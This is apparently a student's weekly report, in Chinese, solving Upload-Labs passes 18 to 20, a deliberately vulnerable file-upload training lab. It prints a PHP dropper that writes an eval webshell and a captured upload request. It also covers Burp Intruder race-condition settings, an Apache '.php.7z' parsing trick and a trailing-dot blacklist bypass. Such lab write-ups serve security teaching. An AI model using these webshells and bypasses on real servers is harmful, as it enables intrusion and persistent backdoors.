# 计科 234 徐潘第 11 周周报

**Upload-Labs-Pass18**

**任务：上传一个 webshell 到服务器**

*前置知识：条件竞争*

文件上传条件竞争前提：服务器会先将任意类型文件放在服务器上，然后再判断合法性，非法则删除

文件上传条件竞争本质：抢夺线程的资源，使得我们上传的生成木马的文件可以被快速访问运行一次，达到非法目的

查看源码：

```shell
$is_upload = false;
$msg = null;
```

```
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;
```

```
    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif 类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}
```

网站使用白名单检测，先将提取到临时目录的文件后缀拼接进上传路径，上传至服务器后再进行检测，决定是否删除

因此要利用条件竞争绕过，必须将非法文件上传到服务器之后和后台语言竞争。

理论上如果不断向服务器发送大量请求，系统处理会变慢，上传的非法文件会停留一段时间等待检测，可以利用这段时间连接木马快速地访问一次进行入侵

由于只能利用较短的时间快速访问一次，因此不能再使用一句话木马，因为一句话木马必须保持连接才能完成入侵，这里可以利用 php 小马

上传文件，绕过防护之后，小马又会被立马删除，但是由于条件竞争，我们可以利用脚本不间断的访问生成小马的 PHP 文件，这样就形成了脚本和 web 删除程序之间的竞争，一定的测试量后，可以竞争到资源成功生成小马 PHP 文件执行 shell

生成 php 小马语句：

```shell
<?php
fputs(fopen('shell.php','w'),'<?php @eval(&_POST['a'])?>'); //打开 shell.php，若不存在则生成内容为一句话木马的 php 文件，即生成小马
?>
```

首先打开 BP 拦截抓包，上传一个上述 php 文件，发送至攻击模块

```shell
POST /Pass-17/index.php?action=show_code&p=&  & HTTP/1.1
Host: de2c862a-ba9e-436f-9afc-3559722557d6.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary26dcbefe3c1dfa0799b718f3947e4822
Content-Length: 419
Origin: http://de2c862a-ba9e-436f-9afc-3559722557d6.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://de2c862a-ba9e-436f-9afc-3559722557d6.node5.buuoj.cn:81/Pass-17/index.php?action=show_code
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

```
------geckoformboundary26dcbefe3c1dfa0799b718f3947e4822
Content-Disposition: form-data; name="upload_file"; filename="222.php"
Content-Type: application/octet-stream
```

```
<?php
fputs(fopen('shell.php','w'),'<?php @eval(&_POST['a'])?>');
?>
------geckoformboundary26dcbefe3c1dfa0799b718f3947e4822
Content-Disposition: form-data; name="submit"
```

```
ä¸ä¼
------geckoformboundary26dcbefe3c1dfa0799b718f3947e4822--
```

攻击方式选择 Sniper，在第一行 POST 语句添加一个 p=空格并在空格处添加 payload，攻击数值从 1 到 10000（攻击一万次）

然后再拦截抓包访问这个小马的请求：

```shell
http://localhost/upload-labs/index.php?file=./upload/222.php
```

payloads 类型选择“Null payloads”,选择无限攻击

两个攻击一起运行，经过相当多次尝试，会有一次在短暂的时间内小马还在服务器上未被删除时成功访问上了，这样就在服务器上留下了一句话木马后门

利用文件包含漏洞，在网址上使用 file 访问后门：

```shell
http://localhost/upload-labs/index.php?file=./upload/shell.php
```

可以访问成功，使用蚁剑连接后门也能连接成功

注意当线程有限时可能需要尝试较多次数

#**Upload-Labs-Pass19**

**任务：上传一个 webshell 到服务器**

查看源码：

```shell
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'],
$_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
```

```
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break;
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break;
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break;
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break;
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break;
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break;
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;
        default:
            $msg = '未知错误！';
            break;
    }
}
```

```
//myupload.php
class MyUpload{
......
......
......
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
```

```
......
......
......
  /** upload()
    **
    ** Method to upload the file.
    ** This is the only method to call outside the class.
```

```
 ** @para String name of directory we upload to
 ** @returns void
**/
function upload( $dir ){

  $ret = $this->isUploadedFile();

  if( $ret != 1 ){
    return $this->resultUpload( $ret );
  }
```

```
  $ret = $this->setDir( $dir );
  if( $ret != 1 ){
    return $this->resultUpload( $ret );
  }
```

```
  $ret = $this->checkExtension();
  if( $ret != 1 ){
    return $this->resultUpload( $ret );
  }
```

```
  $ret = $this->checkSize();
  if( $ret != 1 ){
    return $this->resultUpload( $ret );
  }

  // if flag to check if the file exists is set to 1

  if( $this->cls_file_exists == 1 ){

    $ret = $this->checkFileExists();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
  }
```

```
  // if we are here, we are ready to move the file to destination
```

```
  $ret = $this->move();
  if( $ret != 1 ){
    return $this->resultUpload( $ret );
  }
```

```
  // check if we need to rename the file
```

```
    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );
      }
    }

    // if we are here, everything worked as planned :)
```

```
    return $this->resultUpload( "SUCCESS" );

  }
......
......
......
};
```

可以看到在将上传的文件发送至上传路径之前会先检查后缀，若直接上传小马就不会上传到服务器上

这里需要用到 apache 服务器的解析漏洞，由于 apache 解析文件时是从右往左，例如“111.php.7z”，在访问时如果服务器不能解析 7z 后缀的话。就会继续往前解析 php 文件，作为 php 文件运行

但是直接上传“111.php.7z”形式的木马，系统在对文件做一系列的处理中，会提取文件末尾后缀，并和随机时间戳重命名文件，最终上传成功的时 7z 后缀的文件

可以看到，在对上传的文件进行处理之前，通过后缀检测的文件已经上传至服务器上了，可以赶在文件被重命名之前对小马访问

首先打开 BP 拦截抓包，上传一个小马 php 文件，将后缀改为“.php.7z”（7z 在白名单上），然后将这个包发送至攻击模块

payloads 类型选择“Null payloads”,选择无限攻击

再拦截抓包访问这个小马的请求：

```shell
http://localhost/upload-labs/index.php?file=./upload/222.php
```

也是 payloads 类型选择“Null payloads”,选择无限攻击

两个攻击一起运行，经过多次尝试，会有一次在短暂的时间内小马还在服务器上未被重命名时成功访问上了，这样就在服务器上留下了一句话木马后门

利用文件包含漏洞，在网址上使用 file 访问后门：

```shell
http://localhost/upload-labs/index.php?file=./upload/shell.php
```

可以访问成功，使用蚁剑连接后门也能连接成功

#**Upload-Labs-Pass20**

**任务：上传一个 webshell 到服务器**

可以看到这次多了一个输入保存名称的文本框

查看源码：

```shell
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext =
array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","
jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
```

```shell
        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
```

```shell
        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }
```

```shell
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
```

存储逻辑是通过找到文本框中的文件名末尾最后一个“.”来获取后面的文件后缀信息，然后通过 POST 请求上传文件名

而检测则是通过黑名单检测后，如果检测通过在通过上传路径发送，可以通过后缀名绕过上传木马

上传一个 php 一句话木马，在保存名称文本框中末尾多加一个“.”或一个空格，这样可以通过黑名单检测，且上传至服务器后，Windows 系统会自动去掉多余的“.”和空格，服务器上就将 php 文件保存下来了

上传成功后使用蚁剑连接后门，连接成功